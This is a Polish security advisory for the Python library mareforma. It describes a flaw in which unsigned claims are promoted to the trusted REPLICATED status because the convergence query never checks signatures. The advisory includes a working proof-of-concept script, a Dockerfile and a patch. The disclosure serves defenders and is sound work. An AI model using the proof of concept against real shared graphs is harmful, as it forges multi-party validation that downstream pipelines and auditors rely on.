Wysoka

Mareforma: Niepodpisane wpisy mogą uzyskać status REPLICATED przez brak weryfikacji podpisu na ścieżce konwergencji

  • Ujawniono: 19.11.2026
  • Aktualizacja: 20.11.2026 10:00

Podsumowanie

mareforma 0.3.3 zawiera krytyczną lukę integralności w logice konwergencji REPLICATED (_maybe_update_replicated_unlocked() w mareforma/db/core.py:1300-1319). Zapytanie SQL wyboru wpisów równorzędnych (peer), które określa, czy dwa niezależne wpisy (claims) „zgadzają się” co do tej samej kotwicy, nie weryfikuje, czy którykolwiek z nich posiada poprawny podpis kryptograficzny z zarejestrowanego klucza walidatora. Ponieważ rekor_enabled=False jest wartością domyślną i automatycznie ustawia transparency_logged=1 w momencie wstawiania, każdy wpis — podpisany lub nie — natychmiast spełnia warunek wstępny konwergencji. Atakujący nieposiadający klucza Mareforma może zapisać niepodpisany wpis do współdzielonego grafu, doprowadzić do jego konwergencji z poprawnie podpisanym wpisem równorzędnym i spowodować podniesienie go do statusu REPLICATED. Sfałszowany wiersz REPLICATED jest następnie zwracany przez domyślne zapytanie zaufania (graph.query(min_support="REPLICATED")), co pozwala atakującemu na wstrzykiwanie fałszywych sygnałów zaufania do dowolnego systemu zależnego, który polega na REPLICATED jako gwarancji wielostronnego zatwierdzenia.

Szczegóły

Przyczyna źródłowa — mareforma/db/core.py:1300-1319

Funkcja konwergencji _maybe_update_replicated_unlocked() wybiera wpisy równorzędne za pomocą zapytania SQL filtrującego według status, unresolved, transparency_logged oraz artifact_hash, lecz nie zawiera żadnego warunku dotyczącego signature_bundle ani tożsamości zarejestrowanego klucza:

python
# mareforma/db/core.py:1300-1319
rows = conn.execute(
    f"""
    SELECT DISTINCT c.claim_id, c.generated_by
    FROM claims c, json_each(c.supports_json) j
    WHERE j.value IN ({placeholders})
      AND c.claim_id != ?
      AND c.generated_by != ?
      AND c.support_level != 'ESTABLISHED'
      AND c.status = 'open'
      AND c.unresolved = 0
      AND c.transparency_logged = 1
      AND (
          c.artifact_hash IS NULL
          OR ? IS NULL
          OR c.artifact_hash = ?
      )
    """,

Po zebraniu pasujących wierszy ujście w core.py:1324-1334 podnosi wszystkie pasujące identyfikatory wpisów — w tym wpis atakującego — do stanu REPLICATED bez żadnej dodatkowej walidacji.

Dlaczego warunki wstępne są trywialnie spełnione

  1. transparency_logged = 1 jest ustawiane automatycznie. Gdy rekor_enabled=False (domyślne ustawienie biblioteki), core.py:1061 ustawia transparency_logged = 1 natychmiast po wstawieniu. Brak kroku z systemem Rekor sprawia, że każdy wpis kwalifikuje się do konwergencji w momencie zapisu.
  2. require_signed=False jest wartością domyślną. mareforma/__init__.py:41 domyślnie ustawia require_signed na False. Gdy atakujący otwiera graf ze ścieżką do nieistniejącego klucza, __init__.py:132-138 po cichu ustawia signer = None, co umożliwia wstawianie niepodpisanych wpisów.
  3. assert_claim() nie weryfikuje podpisu. _graph.py:284-291 sprawdza wyłącznie rozpoznawanie DOI na liście supports przed przekazaniem pól kontrolowanych przez atakującego do _db.add_claim() (_graph.py:373-380).

Dlaczego sfałszowany wpis pojawia się w zapytaniach zaufania

Domyślna ścieżka zapytania w core.py:3647-3650 odfiltrowuje tylko wpisy PRELIMINARY, których generator nie jest zarejestrowany. Wpisy o statusie REPLICATED są zwracane bezwarunkowo, przez co niepodpisany, sfałszowany wiersz jest nie do odróżnienia od wiersza z prawidłową konwergencją w jakimkolwiek systemie korzystającym z danych.

Funkcja pomocnicza, która powinna była zostać wywołana

core.py:3661-3669 zawiera _extract_signature_bundle_keyid(), która potrafi wyodrębnić identyfikator klucza z signature_bundle. Ta funkcja pomocnicza istnieje, ale nigdy nie jest wywoływana na ścieżce konwergencji, co wskazuje, że weryfikacja została przypadkowo pominięta, a nie była świadomą decyzją projektową.

Pełny przepływ danych (źródło → ujście)

Krok Lokalizacja Opis
1 cli.py:700-739 CLI akceptuje dowolne TEXT, --supports, --generated-by; linie 720-723 wprost dopuszczają tryb niepodpisanego grafu
2 __init__.py:128-138 Brak pliku klucza → signer = None (brak zgłoszenia błędu)
3 _graph.py:284-291 assert_claim() przekazuje kontrolowany przez użytkownika supports dopiero po sprawdzeniu DOI
4 _graph.py:373-380 Wywołuje _db.add_claim() z polami wpisu kontrolowanymi przez atakującego
5 db/core.py:1208-1214 Konwergencja po wstawieniu wyzwalana, gdy unresolved == False oraz transparency_logged == 1
6 db/core.py:1300-1319 SQL wyboru wpisów równorzędnych — brak weryfikacji signature_bundle lub zarejestrowanego klucza (podatne ujście)
7 db/core.py:1324-1334 Aktualizuje wpisy partnera i atakującego do REPLICATED
8 db/core.py:3647-3650 Domyślne zapytanie zwraca wiersze REPLICATED bez weryfikacji podpisu

PoC

Wymagania wstępne

bash
python3 -m venv /tmp/mareforma-poc
/tmp/mareforma-poc/bin/pip install mareforma==0.3.3

Lub uruchom w pełni autonomiczny obraz Dockera:

bash
# Build (from the repository root, with the local repo mounted under ./repo)
docker build -f vuln-001/Dockerfile -t mareforma-vuln001 .

# Run (no network required)
docker run --rm --network none mareforma-vuln001

Przebieg ataku krok po kroku

python
#!/usr/bin/env python3
from pathlib import Path
from tempfile import TemporaryDirectory

import mareforma
from mareforma import signing

with TemporaryDirectory() as td:
    root = Path(td)
    key_path = root / "root-key.pem"

    # Step 1: Legitimate root agent bootstraps a key and creates an ESTABLISHED anchor.
    signing.bootstrap_key(key_path)
    with mareforma.open(root, key_path=key_path) as g:
        anchor = g.assert_claim(
            "established anchor",
            classification="DERIVED",
            generated_by="seed/root",
            seed=True,
        )
        # Step 2: Honest peer asserts a signed PRELIMINARY claim supporting the anchor.
        honest = g.assert_claim(
            "same result",
            supports=[anchor],
            generated_by="honest-agent",
        )

    # Step 3: Attacker opens the same graph with a non-existent key path.
    #         __init__.py:132-138 silently sets signer=None — unsigned mode.
    attacker_key = root / "missing-attacker-key.pem"  # does not exist
    with mareforma.open(root, key_path=attacker_key) as g:
        # Step 4: Attacker inserts an unsigned claim supporting the same anchor.
        #         Convergence fires in _maybe_update_replicated_unlocked():
        #           - Two claims share the same ESTABLISHED anchor
        #           - Different generated_by values
        #           - Both have transparency_logged=1 (Rekor disabled by default)
        #           - No signature or enrollment check performed
        attack = g.assert_claim(
            "forged convergence",
            supports=[anchor],
            generated_by="attacker-agent",
        )

        attack_info = g.get_claim(attack)
        print(attack_info["support_level"])          # → REPLICATED
        print(attack_info["signature_bundle"] is None)  # → True (unsigned)

        # Step 5: The unsigned REPLICATED claim appears in the default trust query.
        results = g.query(min_support="REPLICATED")
        for r in results:
            print((r["text"], r["support_level"],
                   r["signature_bundle"] is None, r["generator_enrolled"]))

Oczekiwany wynik

REPLICATED
True
('established anchor', 'ESTABLISHED', False, True)
('forged convergence', 'REPLICATED', True, False)   # ← unsigned, unenrolled
('same result', 'REPLICATED', False, True)

Sfałszowany wpis (signature_bundle=None, generator_enrolled=False) zostaje podniesiony do stanu REPLICATED i zwrócony wraz z prawidłowo podpisanymi wpisami.

Środki zaradcze

Ścieżka konwergencji musi wymagać, aby zarówno wpis przychodzący, jak i każdy wybrany wpis równorzędny posiadały poprawny signature_bundle podpisany przez odrębny zarejestrowany klucz walidatora:

diff
--- a/mareforma/db/core.py
+++ b/mareforma/db/core.py
@@
-    new_status_row = conn.execute(
-        "SELECT status FROM claims WHERE claim_id = ?", (new_claim_id,),
+    new_status_row = conn.execute(
+        "SELECT status, signature_bundle FROM claims WHERE claim_id = ?",
+        (new_claim_id,),
     ).fetchone()
     if new_status_row is None or new_status_row["status"] != "open":
         return
+    from mareforma import validators as _validators
+    new_keyid = _extract_signature_bundle_keyid(new_status_row["signature_bundle"])
+    if new_keyid is None or not _validators.is_enrolled(conn, new_keyid):
+        return
@@
-        SELECT DISTINCT c.claim_id, c.generated_by
+        SELECT DISTINCT c.claim_id, c.generated_by, c.signature_bundle
@@
-    if not rows:
+    peer_ids = []
+    for row in rows:
+        peer_keyid = _extract_signature_bundle_keyid(row["signature_bundle"])
+        if peer_keyid is None or peer_keyid == new_keyid:
+            continue
+        if not _validators.is_enrolled(conn, peer_keyid):
+            continue
+        peer_ids.append(row["claim_id"])
+
+    if not peer_ids:
         return
 
-    peer_ids = [r["claim_id"] for r in rows] + [new_claim_id]
+    peer_ids = peer_ids + [new_claim_id]

Wpływ

Podatność ta stanowi obejście integralności (CWE-347: Nieprawidłowa weryfikacja podpisu kryptograficznego). REPLICATED jest podstawowym mechanizmem zaufania wielostronnego w mareforma, zaprojektowanym w celu potwierdzenia, że co najmniej dwóch niezależnych, zarejestrowanych walidatorów zaobserwowało i podpisało ten sam wynik. Poprzez ciche pomijanie sprawdzania podpisów i rejestracji na ścieżce konwergencji biblioteka pozwala dowolnemu lokalnemu podmiotowi — bez żadnych poświadczeń kryptograficznych — sfałszować ten sygnał zaufania.

Kogo dotyczy problem: Każdego użytkownika lub systemu, który odpytuje graf mareforma za pomocą min_support="REPLICATED" i traktuje wynik jako dowód wielostronnej walidacji. Dotyczy to zautomatyzowanych potoków (pipelines), paneli audytowych, silników reguł polityk lub systemów zależnych opierających decyzje o zaufaniu na statusie REPLICATED (np. akceptacja zbioru danych, zatwierdzenie artefaktu modelu lub publikacja wyniku).

Ponieważ sfałszowany wpis jest nie do odróżnienia od prawidłowo połączonego wpisu w wynikach zapytań, odbiorcy nie mogą wykryć ataku bez inspekcji pól signature_bundle i generator_enrolled poza pasmem — pól, których domyślny interfejs zapytań biblioteki nie eksponuje.

Luka ta może zostać wykorzystana w konfiguracji domyślnej: require_signed=False, rekor_enabled=False. Atak wymaga jedynie lokalnego dostępu z prawem zapisu do współdzielonej bazy danych grafu (np. współdzielonego systemu plików lub zasobu sieciowego do zapisu) i nie wymaga żadnego klucza Mareforma.

Artefakty odtworzenia błędu

Dockerfile

dockerfile
FROM python:3.12-slim

LABEL description="VULN-001 PoC: Unsigned Claims Promoted to REPLICATED (CWE-347)"
LABEL version="0.3.3"

WORKDIR /app

# Copy the local repository and install from source
COPY repo /app/repo
RUN pip install --no-cache-dir /app/repo

# Copy the proof-of-concept script
COPY vuln-001/poc.py /app/poc.py

CMD ["python3", "/app/poc.py"]

poc.py

python
#!/usr/bin/env python3
"""
VULN-001 Proof of Concept
Title: Unsigned Claims Promoted to REPLICATED via Missing Signature Enforcement
CWE-347: Improper Verification of Cryptographic Signature
CVSS: 7.1 (High) — CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N

Root cause:
  _maybe_update_replicated_unlocked() in mareforma/db/core.py:1300-1319 selects
  peer claims for convergence without checking signature_bundle or enrolled-key
  identity. When rekor_enabled=False (the default), transparency_logged is set
  to 1 immediately (core.py:1061), so every claim—signed or not—is eligible for
  the convergence query. An attacker with no key can therefore write an unsigned
  claim that converges with a legitimate signed peer claim and is promoted to
  REPLICATED status. The forged REPLICATED row is then returned by the default
  query path (core.py:3647-3650) that only filters unenrolled PRELIMINARY claims.

Attack steps:
  1. Honest root agent bootstraps a key; auto-enrolls as root validator on first
     graph open; asserts an ESTABLISHED seed anchor claim.
  2. Honest agent asserts a signed PRELIMINARY peer claim supporting the anchor.
  3. Attacker opens the same graph WITHOUT any key (missing-key.pem does not
     exist → signer=None per __init__.py:132-138).
  4. Attacker asserts an unsigned PRELIMINARY claim supporting the same anchor.
  5. Convergence fires: two claims, same ESTABLISHED anchor, different
     generated_by, both have transparency_logged=1 (Rekor disabled).
  6. Both claims are promoted to REPLICATED. No signature check is performed.
  7. graph.query(min_support="REPLICATED") returns the unsigned forged claim.

Expected evidence (deterministic exit code 0):
  - attack claim support_level == "REPLICATED"
  - attack claim signature_bundle is None  (unsigned)
  - attack claim generator_enrolled == False
  - forged unsigned REPLICATED claim appears in query results
"""

import sys
from pathlib import Path
from tempfile import TemporaryDirectory

import mareforma
from mareforma import signing


SEPARATOR = "-" * 70


def banner(msg: str) -> None:
    print(f"\n{SEPARATOR}")
    print(f"  {msg}")
    print(SEPARATOR)


def main() -> int:
    print("VULN-001 PoC — Unsigned Claims Promoted to REPLICATED (CWE-347)")
    print(f"mareforma version: {mareforma.__version__}")

    with TemporaryDirectory() as td:
        root = Path(td)
        key_path = root / "root-key.pem"

        # ------------------------------------------------------------------
        # Step 1: Bootstrap a key for the legitimate root agent.
        #         On first graph open, this key auto-enrolls as the root
        #         validator, which is required for seed=True.
        # ------------------------------------------------------------------
        banner("Step 1: Bootstrap signing key for honest root agent")
        signing.bootstrap_key(key_path)
        print(f"  Key path : {key_path}")
        print(f"  Exists   : {key_path.exists()}")

        # ------------------------------------------------------------------
        # Step 2: Honest root agent creates an ESTABLISHED anchor.
        #         Uses seed=True, which requires an enrolled validator.
        #         The first open() with a fresh key auto-enrolls it.
        # ------------------------------------------------------------------
        banner("Step 2: Honest root agent — create ESTABLISHED anchor + signed peer claim")
        with mareforma.open(root, key_path=key_path) as g:
            anchor = g.assert_claim(
                "established anchor",
                classification="DERIVED",
                generated_by="seed/root",
                seed=True,
            )
            anchor_info = g.get_claim(anchor)
            print(f"  anchor claim_id     : {anchor}")
            print(f"  anchor support_level: {anchor_info['support_level']}")
            assert anchor_info["support_level"] == "ESTABLISHED", (
                f"Unexpected anchor level: {anchor_info['support_level']}"
            )

            # Honest agent adds a signed peer claim supporting the anchor.
            honest = g.assert_claim(
                "same result",
                supports=[anchor],
                generated_by="honest-agent",
            )
            honest_info = g.get_claim(honest)
            print(f"  honest claim_id     : {honest}")
            print(f"  honest support_level: {honest_info['support_level']}")
            print(f"  honest signed       : {honest_info['signature_bundle'] is not None}")

        # ------------------------------------------------------------------
        # Step 3: Attacker opens the graph with a non-existent key.
        #         __init__.py:132-138: missing file → signer=None (unsigned mode).
        # ------------------------------------------------------------------
        banner("Step 3: Attacker opens graph WITHOUT a key — unsigned mode")
        attacker_key = root / "missing-attacker-key.pem"
        print(f"  Attacker key path: {attacker_key}")
        print(f"  Attacker key exists: {attacker_key.exists()}  (intentionally absent)")

        with mareforma.open(root, key_path=attacker_key) as g:
            # Step 4: Attacker asserts an unsigned claim with the same anchor.
            #         Convergence logic fires: two claims, same ESTABLISHED
            #         anchor, different generated_by, both transparency_logged=1.
            banner("Step 4: Attacker inserts UNSIGNED claim — triggers convergence")
            attack = g.assert_claim(
                "forged convergence",
                supports=[anchor],
                generated_by="attacker-agent",
            )

            attack_info = g.get_claim(attack)
            attack_support_level = attack_info["support_level"]
            attack_unsigned = attack_info["signature_bundle"] is None
            attack_enrolled = attack_info.get("generator_enrolled", False)

            print(f"  attack claim_id       : {attack}")
            print(f"  attack support_level  : {attack_support_level}")
            print(f"  attack unsigned       : {attack_unsigned}  (signature_bundle is None)")
            print(f"  attack enrolled       : {attack_enrolled}")

            # Step 5: Verify the unsigned REPLICATED claim appears in the
            #         default query that consumers rely on for trust decisions.
            banner("Step 5: Query min_support='REPLICATED' — should include forged claim")
            results = g.query(min_support="REPLICATED")
            print(f"  Total REPLICATED results: {len(results)}")
            forged_in_results = False
            for r in results:
                is_forged = (
                    r["signature_bundle"] is None
                    and r.get("generator_enrolled") is False
                    and r["support_level"] == "REPLICATED"
                )
                marker = "  [FORGED]" if is_forged else "         "
                print(
                    f"{marker} text={r['text']!r:30s} "
                    f"level={r['support_level']:12s} "
                    f"unsigned={r['signature_bundle'] is None!s:5s} "
                    f"enrolled={r.get('generator_enrolled', '?')}"
                )
                if is_forged:
                    forged_in_results = True

        # ------------------------------------------------------------------
        # Verdict
        # ------------------------------------------------------------------
        banner("Verdict")
        conditions = {
            "attack claim support_level == REPLICATED": attack_support_level == "REPLICATED",
            "attack claim is UNSIGNED (signature_bundle is None)": attack_unsigned,
            "attack generator_enrolled == False": attack_enrolled is False,
            "forged REPLICATED claim visible in query results": forged_in_results,
        }
        all_pass = True
        for desc, result in conditions.items():
            status = "PASS" if result else "FAIL"
            print(f"  [{status}] {desc}")
            if not result:
                all_pass = False

        if all_pass:
            print(
                "\n  [CONFIRMED] VULN-001: unsigned claim promoted to REPLICATED.\n"
                "  An attacker without any key can forge graph trust.\n"
                "  The convergence path (core.py:1300-1319) does not check\n"
                "  signature_bundle or enrolled-key identity."
            )
            return 0
        else:
            print(
                "\n  [NOT TRIGGERED] One or more conditions failed.\n"
                "  Vulnerability may have been patched or env differs."
            )
            return 1


if __name__ == "__main__":
    sys.exit(main())

Co trzeba zrobić

Zaktualizuj bibliotekę mareforma do wersji 0.3.7 lub nowszej. Ścieżka konwergencji musi wymagać, aby zarówno wpis przychodzący, jak i każdy wybrany wpis równorzędny posiadały poprawny signature_bundle podpisany przez odrębny, zarejestrowany klucz walidatora:

diff
--- a/mareforma/db/core.py
+++ b/mareforma/db/core.py
@@
-    new_status_row = conn.execute(
-        "SELECT status FROM claims WHERE claim_id = ?", (new_claim_id,),
+    new_status_row = conn.execute(
+        "SELECT status, signature_bundle FROM claims WHERE claim_id = ?",
+        (new_claim_id,),
     ).fetchone()
     if new_status_row is None or new_status_row["status"] != "open":
         return
+    from mareforma import validators as _validators
+    new_keyid = _extract_signature_bundle_keyid(new_status_row["signature_bundle"])
+    if new_keyid is None or not _validators.is_enrolled(conn, new_keyid):
+        return
@@
-        SELECT DISTINCT c.claim_id, c.generated_by
+        SELECT DISTINCT c.claim_id, c.generated_by, c.signature_bundle
@@
-    if not rows:
+    peer_ids = []
+    for row in rows:
+        peer_keyid = _extract_signature_bundle_keyid(row["signature_bundle"])
+        if peer_keyid is None or peer_keyid == new_keyid:
+            continue
+        if not _validators.is_enrolled(conn, peer_keyid):
+            continue
+        peer_ids.append(row["claim_id"])
+
+    if not peer_ids:
         return
 
-    peer_ids = [r["claim_id"] for r in rows] + [new_claim_id]
+    peer_ids = peer_ids + [new_claim_id]

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Python (PyPI) mareforma >= 0.3.0, < 0.3.7 0.3.7

Odnośniki

Ocena CVSS 7.1/10
Wektor CVSS
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N
Słabość (CWE)
CWE-347
Platforma
Python (PyPI)
Paczka
mareforma
Ujawniono
19.11.2026
Aktualizacja
20.11.2026 10:00

Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.

OSV / GitHub Advisory Database - GHSA-8776-qf3h-26r3 - CC BY 4.0

Historia podatności: mareforma

Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkich wpisów
5
Pierwsza → ostatnia
11.2026 11.2026
Bez poprawki
0
Wykorzystywana w atakach
0

Rozkład istotności

  • Wysoka 2
  • Średnia 3

Ujawnienia w latach

  1. 2026: 5
  1. Mareforma: Niepodpisane wpisy mogą uzyskać status REPLICATED przez brak weryfikacji podpisu na ścieżce konwergencji ten wpis
    Wysoka · 7.1 CVE-2026-71535 >= 0.3.0, < 0.3.7 0.3.7
  2. Średnia CVE-2026-71534 >= 0.3.0, < 0.3.8 0.3.8
  3. Średnia CVE-2026-71500 >= 0.3.0, < 0.3.8 0.3.8
  4. Wysoka CVE-2026-71536 >= 0.3.0, < 0.3.8 0.3.8
  5. Średnia CVE-2026-71533 >= 0.3.7, < 0.3.8 0.3.8

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.